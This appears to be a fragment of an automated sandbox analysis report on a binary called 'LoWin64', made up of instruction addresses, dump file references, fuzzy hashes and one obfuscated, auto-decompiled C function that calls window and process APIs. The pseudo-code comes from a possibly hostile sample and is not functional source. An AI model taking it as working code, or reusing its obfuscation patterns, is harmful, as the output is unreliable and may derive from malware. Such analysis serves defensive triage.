0x7ff6b1ca7ae0
0x7ff6b1ca7ae2
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af0
0x7ff6b1ca7af2
0x7ff6b1ca7af4
0x7ff6b1ca7af6
0x7ff6b1ca7af8
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b04
0x7ff6b1ca7b06
0x7ff6b1ca7b08
0x7ff6b1ca7b0a
0x7ff6b1ca7b0c
0x7ff6b1ca7b0e
0x7ff6b1ca7b11
0x7ff6b1ca7b14
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2b
0x7ff6b1ca7b2d
0x7ff6b1ca7b33
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b42
0x7ff6b1ca7b4b
0x7ff6b1ca7b4d
0x7ff6b1ca7b4f
0x7ff6b1ca7b52
0x7ff6b1ca7b5a
0x7ff6b1ca7b5f
0x7ff6b1ca7b61
0x7ff6b1ca7b65
0x7ff6b1ca7b67
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
0x7ff6b1ca7b84
0x7ff6b1ca7b86
0x7ff6b1ca7b8a
0x7ff6b1ca7b8c
0x7ff6b1ca7b8e
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b98
0x7ff6b1ca7b9a
0x7ff6b1ca7b9e
0x7ff6b1ca7ba0
0x7ff6b1ca7ba2
0x7ff6b1ca7ba5
0x7ff6b1ca7ba8
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bb8
0x7ff6b1ca7bba
0x7ff6b1ca7bbe
0x7ff6b1ca7bc0
0x7ff6b1ca7bc2
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd7
0x7ff6b1ca7bd9
0x7ff6b1ca7bdd
0x7ff6b1ca7bdf
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c00
0x7ff6b1ca7c02
0x7ff6b1ca7c06
0x7ff6b1ca7c08
0x7ff6b1ca7c0a
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c18
0x7ff6b1ca7c1a
0x7ff6b1ca7c1e
0x7ff6b1ca7c20
0x7ff6b1ca7c22
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2c
0x7ff6b1ca7c2e
0x7ff6b1ca7c32
0x7ff6b1ca7c34
0x7ff6b1ca7c36
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c40
0x7ff6b1ca7c42
0x7ff6b1ca7c46
0x7ff6b1ca7c48
0x7ff6b1ca7c4a
0x7ff6b1ca7c50
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5a
0x7ff6b1ca7c5c
0x7ff6b1ca7c60
0x7ff6b1ca7c62
0x7ff6b1ca7c64
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c6e
0x7ff6b1ca7c6e
0x7ff6b1ca7c70
0x7ff6b1ca7c74
0x7ff6b1ca7c76
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c90
0x7ff6b1ca7c95
0x7ff6b1ca7c97
0x7ff6b1ca7c9b
0x7ff6b1ca7c9d
0x7ff6b1ca7c9f
0x7ff6b1ca7ca5
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7cca
0x7ff6b1ca7ccc
0x7ff6b1ca7cd0
0x7ff6b1ca7cd2
0x7ff6b1ca7cd4
0x7ff6b1ca7cd7
0x7ff6b1ca7cda
0x7ff6b1ca7cdd
0x7ff6b1ca7ce8
0x7ff6b1ca7ceb
0x7ff6b1ca7cf1
0x7ff6b1ca7cf3
0x7ff6b1ca7cf7
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d02
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d15
0x7ff6b1ca7d15
0x7ff6b1ca7d17
0x7ff6b1ca7d1b
0x7ff6b1ca7d1d
0x7ff6b1ca7d1f
0x7ff6b1ca7d22
0x7ff6b1ca7d24
0x7ff6b1ca7d29
0x7ff6b1ca7d29
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d34
0x7ff6b1ca7d37
0x7ff6b1ca7d39
0x7ff6b1ca7d3e
0x7ff6b1ca7d3e
0x7ff6b1ca7d41
0x7ff6b1ca7d47
0x7ff6b1ca7d49
0x7ff6b1ca7d4c
0x7ff6b1ca7d4f
0x7ff6b1ca7d52
0x7ff6b1ca7d58
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6f
0x7ff6b1ca7d72
0x7ff6b1ca7d76
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d95
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da0
0x7ff6b1ca7da3
0x7ff6b1ca7da5
0x7ff6b1ca7da7
0x7ff6b1ca7db2
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc1
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcc
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7ddf
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df2
0x7ff6b1ca7df5
0x7ff6b1ca7df7
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e15
0x7ff6b1ca7e1a
0x7ff6b1ca7e1a
0x7ff6b1ca7e1d
0x7ff6b1ca7e23
0x7ff6b1ca7e25
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e48
0x7ff6b1ca7e4b
0x7ff6b1ca7e51
0x7ff6b1ca7e53
0x7ff6b1ca7e56
0x7ff6b1ca7e59
0x7ff6b1ca7e5c
0x7ff6b1ca7e67
0x7ff6b1ca7e6a
0x7ff6b1ca7e70
0x7ff6b1ca7e72
0x7ff6b1ca7e76
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e81
0x7ff6b1ca7e84
0x7ff6b1ca7e8f
0x7ff6b1ca7e92
0x7ff6b1ca7e98
0x7ff6b1ca7e9a
0x7ff6b1ca7e9d
0x7ff6b1ca7ea0
0x7ff6b1ca7ea3
0x7ff6b1ca7ea9
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb6
0x7ff6b1ca7eb9
0x7ff6b1ca7ec0
0x7ff6b1ca7ec3
0x7ff6b1ca7ec7
0x7ff6b1ca7ec9
0x7ff6b1ca7ecb
0x7ff6b1ca7ece
0x7ff6b1ca7ed5
0x7ff6b1ca7ed8
0x7ff6b1ca7ede
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7ee5
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7efc
0x7ff6b1ca7eff
0x7ff6b1ca7f03
0x7ff6b1ca7f05
0x7ff6b1ca7f07
0x7ff6b1ca7f0a
0x7ff6b1ca7f0d
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f20
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2b
0x7ff6b1ca7f2e
0x7ff6b1ca7f34
0x7ff6b1ca7f39
0x7ff6b1ca7f39
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f44
0x7ff6b1ca7f47
0x7ff6b1ca7f49
0x7ff6b1ca7f4e
0x7ff6b1ca7f4e
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f59
0x7ff6b1ca7f5c
0x7ff6b1ca7f5e
0x7ff6b1ca7f60
0x7ff6b1ca7f66
0x7ff6b1ca7f6b
0x7ff6b1ca7f6b
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f76
0x7ff6b1ca7f7c
0x7ff6b1ca7f7f
0x7ff6b1ca7f89
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f94
0x7ff6b1ca7f97
0x7ff6b1ca7f99
0x7ff6b1ca7f9e
0x7ff6b1ca7f9e
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fa9
0x7ff6b1ca7fac
0x7ff6b1ca7fb7
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fdc
0x7ff6b1ca7fe1
0x7ff6b1ca7fe1
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fec
0x7ff6b1ca7fef
0x7ff6b1ca7ff5
0x7ff6b1ca7ffa
0x7ff6b1ca7ffa
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8005
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8010
0x7ff6b1ca8015
0x7ff6b1ca8015
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8020
0x7ff6b1ca8023
0x7ff6b1ca8026
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca8036
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806f
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807a
0x7ff6b1ca807d
0x7ff6b1ca8080
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8095
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a4
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80af
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c6
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80d1
0x7ff6b1ca80d7
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80ec
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca8101
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca810c
0x7ff6b1ca810f
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca811d
0x7ff6b1ca8122
0x7ff6b1ca8122
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca812d
0x7ff6b1ca8130
0x7ff6b1ca8132
0x7ff6b1ca8137
0x7ff6b1ca8137
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8142
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815a
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8175
0x7ff6b1ca817c
0x7ff6b1ca8184
0x7ff6b1ca8189
0x7ff6b1ca818b
0x7ff6b1ca818d
0x7ff6b1ca818d
0x7ff6b1ca8190
0x7ff6b1ca8195
0x7ff6b1ca8199
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81b6
0x7ff6b1ca81bf
0x7ff6b1ca81c0
0x7ff6b1ca81c2
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d8
0x7ff6b1ca81db
0x7ff6b1ca81dd
0x7ff6b1ca81df
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81f1
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca8203
0x7ff6b1ca8206
0x7ff6b1ca8208
0x7ff6b1ca820a
0x7ff6b1ca820c
0x7ff6b1ca820e
0x7ff6b1ca8211
0x7ff6b1ca8213
0x7ff6b1ca8216
0x7ff6b1ca821d
0x7ff6b1ca8220
0x7ff6b1ca8222
0x7ff6b1ca8224
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822c
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca8237
0x7ff6b1ca823a
0x7ff6b1ca8240
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8269
0x7ff6b1ca826c
0x7ff6b1ca826e
0x7ff6b1ca8270
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca8284
0x7ff6b1ca8287
0x7ff6b1ca8289
0x7ff6b1ca828b
0x7ff6b1ca828d
0x7ff6b1ca828f
0x7ff6b1ca8292
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82a5
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c2
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82eb
0x7ff6b1ca82f4
0x7ff6b1ca82f9
0x7ff6b1ca82f9
0x7ff6b1ca82fb
0x7ff6b1ca82fd
0x7ff6b1ca8300
0x7ff6b1ca8302
0x7ff6b1ca8304
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca8318
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca8323
0x7ff6b1ca8328
0x7ff6b1ca8328
0x7ff6b1ca832b
0x7ff6b1ca832d
0x7ff6b1ca832f
0x7ff6b1ca8331
0x7ff6b1ca8333
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca8341
0x7ff6b1ca834a
0x7ff6b1ca834e
0x7ff6b1ca8353
0x7ff6b1ca8353
0x7ff6b1ca8356
0x7ff6b1ca8358
0x7ff6b1ca835a
0x7ff6b1ca835c
0x7ff6b1ca835e
0x7ff6b1ca8361
0x7ff6b1ca8363
0x7ff6b1ca8366
0x7ff6b1ca836d
0x7ff6b1ca8370
0x7ff6b1ca8372
0x7ff6b1ca8374
0x7ff6b1ca8376
0x7ff6b1ca8378
0x7ff6b1ca837b
0x7ff6b1ca837e
0x7ff6b1ca8381
0x7ff6b1ca838c
0x7ff6b1ca838f
0x7ff6b1ca8391
0x7ff6b1ca8393
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca83a1
0x7ff6b1ca83a4
0x7ff6b1ca83a6
0x7ff6b1ca83a8
0x7ff6b1ca83aa
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83bc
0x7ff6b1ca83bf
0x7ff6b1ca83c1
0x7ff6b1ca83c3
0x7ff6b1ca83c5
0x7ff6b1ca83c7
0x7ff6b1ca83ca
0x7ff6b1ca83cd
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83e6
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8410
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca841e
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842b
0x7ff6b1ca842e
0x7ff6b1ca8435
0x7ff6b1ca8438
0x7ff6b1ca843c
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca845b
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8466
0x7ff6b1ca8469
0x7ff6b1ca847a
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca8485
0x7ff6b1ca8488
0x7ff6b1ca848b
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849d
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84b0
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84bf
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84ca
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84dd
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84e8
0x7ff6b1ca84eb
0x7ff6b1ca84ee
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8508
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8513
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca851d
0x7ff6b1ca8520
0x7ff6b1ca8526
0x7ff6b1ca8528
0x7ff6b1ca852b
0x7ff6b1ca852d
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca853f
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8545
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8550
0x7ff6b1ca8553
0x7ff6b1ca8555
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca855f
0x7ff6b1ca8562
0x7ff6b1ca8568
0x7ff6b1ca856a
0x7ff6b1ca856f
0x7ff6b1ca8572
0x7ff6b1ca8574
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca857f
0x7ff6b1ca8585
0x7ff6b1ca8589
0x7ff6b1ca858b
0x7ff6b1ca858c
0x7ff6b1ca858d
0x7ff6b1ca858e
0x7ff6b1ca858f

Strings

7, xrefs: 00007FF6B1CA79C8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: fbfea38346aa455bdd3d09a812b613fa9fecc73a2bc1b472a7b763ca08e47d8c
Instruction ID: 5e61f124174632be0ee8f9235e55b55a5358a4efa6f6042f0f04c0ca65adc5d6
Opcode Fuzzy Hash: fbfea38346aa455bdd3d09a812b613fa9fecc73a2bc1b472a7b763ca08e47d8c
Instruction Fuzzy Hash: 66128E67E3CA4766F7125F2CAD4A2B922A07F2070DF740739C709E119ADF3DB5868245

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA76F2 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 338
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00007FF67FF6B1CA76F2(void* __ebx, void* __esi, void* __ebp, void* __r12, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				void* _t93;
				void* _t120;
				void* _t137;
				void* _t156;
				void* _t157;
				void* _t158;
				signed long long _t166;
				signed long long _t167;
				signed long long _t168;
				signed long long _t169;
				signed long long _t170;
				signed long long _t171;
				signed long long _t172;
				signed long long _t173;
				signed long long _t178;
				void* _t185;
				void* _t186;

				_t93 = E00007FF67FF6B1D3ACF4(_t166);
				_t167 = _t166 & _t178;
				if (_t167 >= 0) goto 0xb1ca7704;
				 *_t167 =  *_t167 + (_t93 - r13d | r14d) + r13d;
				 *_t178 =  *_t178 + dil;
				 *(_t186 - 0x18) =  *(_t186 - 0x18) << 0xdb;
				_t168 = _t167 ^ 0xc3230009;
				if (_t168 >= 0) goto 0xb1ca7726;
				if (_t168 != 0x3a) goto 0xb1ca7779;
				E00007FF67FF6B1D3ACF4(_t168);
				_t169 = _t168 & _t178;
				if (_t169 >= 0) goto 0xb1ca773d;
				_t156 = _t169 - 0x2b;
				if (_t156 >= 0) goto 0xb1ca77cd;
				E00007FF67FF6B1D3ACF4(_t169);
				_t170 = _t169 & _t178;
				if (_t156 >= 0) goto 0xb1ca7758;
				_t157 = _t170 - _t185;
				if (_t157 < 0) goto 0xb1ca77cd;
				E00007FF67FF6B1D3ACF4(_t170);
				_t171 = _t170 & _t178;
				if (_t157 >= 0) goto 0xb1ca776e;
				_t158 = _t171 - 0x2b;
				goto 0xb1ca77c7;
				E00007FF67FF6B1D3ACF4(_t171);
				_t172 = _t171 & _t178;
				if (_t158 >= 0) goto 0xb1ca778b;
				E00007FF67FF6B1D3ACF4(_t172);
				_t173 = _t172 & _t178;
				if (_t158 >= 0) goto 0xb1ca779d;
				 *0xb1decf60 = 0xe;
				_t120 = E00007FF67FF6B1D3ACF4(_t173);
				if (_t173 - 0x36 >= 0) goto 0xb1ca77be;
				 *0xb1decf60 = 0xe;
				asm("adc al, 0x0");
				if (0x25 - 0x28 < 0) goto 0xb1ca77d2;
				asm("str word [ecx+0x14576f1d]");
				 *0xA8248C8900000011 =  *((intOrPtr*)(0xa8248c8900000011)) + (_t120 - r13d | r14d) + r13d + r13d;
				IsIconic(??);
				GetCurrentProcessId();
				GetDesktopWindow();
				GetParent(??);
				E00007FF67FF6B1D3ACF4(0x25);
				if (0x25 - 0x59 >= 0) goto 0xb1ca7869;
				E00007FF67FF6B1D3ACF4(0x25);
				if (0x25 - 0x59 >= 0) goto 0xb1ca7843;
				if (0x25 == 6) goto 0xb1ca7869;
				_t137 = E00007FF67FF6B1D3ACF4(0x108010100000025);
				if (0x25 - 6 >= 0) goto 0xb1ca785a;
				 *0xb1decf60 = 0;
				 *0x8000007f =  *0x8000007f + spl;
				return (_t137 - r13d | r14d) + r13d;
				if (__eflags >= 0) goto 0xb1ca7880;
				__eax = __eax - r13d;
				__eax = __eax + r13d;
				r14d = 0x4f;
				goto 0xb1ca78e0;
				__eflags = 0x50 - 0x52;
				if (0x50 - 0x52 >= 0) goto 0xb1ca78e5;
				__rbx = 0x3d;
				asm("fidiv word [ebx+0x29]");
				__eax = GetCurrentProcessId();
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca78bd;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 9;
				if (0x25 != 9) goto 0xb1ca7894;
				__edi = __edi + r13d;
				 *0xb1decf60 = __rdi;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca78e0;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0xd;
				if (0x25 - 0xd < 0) goto 0xb1ca7888;
				__rdx = 0xb1ca8590;
				 *0xb1decf68 = __r12;
				__rcx = 0x2;
				 *0x3B4114EB00000060 =  *((intOrPtr*)(0x3b4114eb00000060)) + dil;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				r12d = 0x8000007f;
				goto 0xb1ca7922;
				__eflags = 0x3d - 0x26;
				if (0x3d - 0x26 >= 0) goto 0xb1ca7935;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r12d;
				if (__eflags >= 0) goto 0xb1ca7930;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x65;
				if (0x25 == 0x65) goto 0xb1ca790f;
				__rbx = 0x3f;
				 *0x93A63E800000025 =  *((intOrPtr*)(0x93a63e800000025)) + __al;
				asm("les edi, [ebp+0x9]");
				if (0x25 - 0x65 >= 0) goto 0xb1ca794d;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = __eax;
				__rdi = 0x3;
				if (__eax >= 0) goto 0xb1ca7978;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3f;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r12d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7974;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x3;
				if (0x25 != 0x3) goto 0xb1ca7954;
				__rbx = 0x52;
				 *0xDE3B20EAFFFFFF83 =  *((intOrPtr*)(0xde3b20eaffffff83)) + dil;
				__eax = __eax & r12d;
				if (0x25 - 0x3 >= 0) goto 0xb1ca7994;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x44;
				r15d = r15d & 0xffffff00 | 0x00000025 == 0x00000044;
				 *0xb1decf60 = 0x2;
				 *0xb1decf60 = 0x52;
				__ebx = __ebx + r13d;
				__eflags = 0x52 - 0x5b;
				if (0x52 - 0x5b < 0) goto 0xb1ca797d;
				__rbx = 0x2d;
				 *((intOrPtr*)(0x93a63e800000025)) =  *((intOrPtr*)(0x93a63e800000025)) + __al;
				asm("les edi, [ebp+0x8]");
				if (0x52 - 0x5b >= 0) goto 0xb1ca79c8;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				r12d = 0x37;
				goto 0xb1ca79f2;
				__eflags = __ebx - r12d;
				if (__ebx - r12d >= 0) goto 0xb1ca79f7;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x2d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				__eflags = 0x25;
				if (0x25 >= 0) goto 0xb1ca79f2;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x1d;
				if (0x25 == 0x1d) goto 0xb1ca79d0;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				 *0xb1decf60 = r13d;
				__ebx = r13d;
				r13d = 0x4b;
				__rsi = __rsi + 0x2d;
				__eflags = __esi - r13d;
				if (__esi - r13d < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = __rsi;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rsi = 0x8000007f;
				_push(0x8000007f);
				if (__eflags >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = __rbp;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7a41;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x76;
				if (0x25 - 0x76 >= 0) goto 0xb1ca7a25;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rbp = 0x2d;
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7a57;
				__rax = __rax - 0x2d;
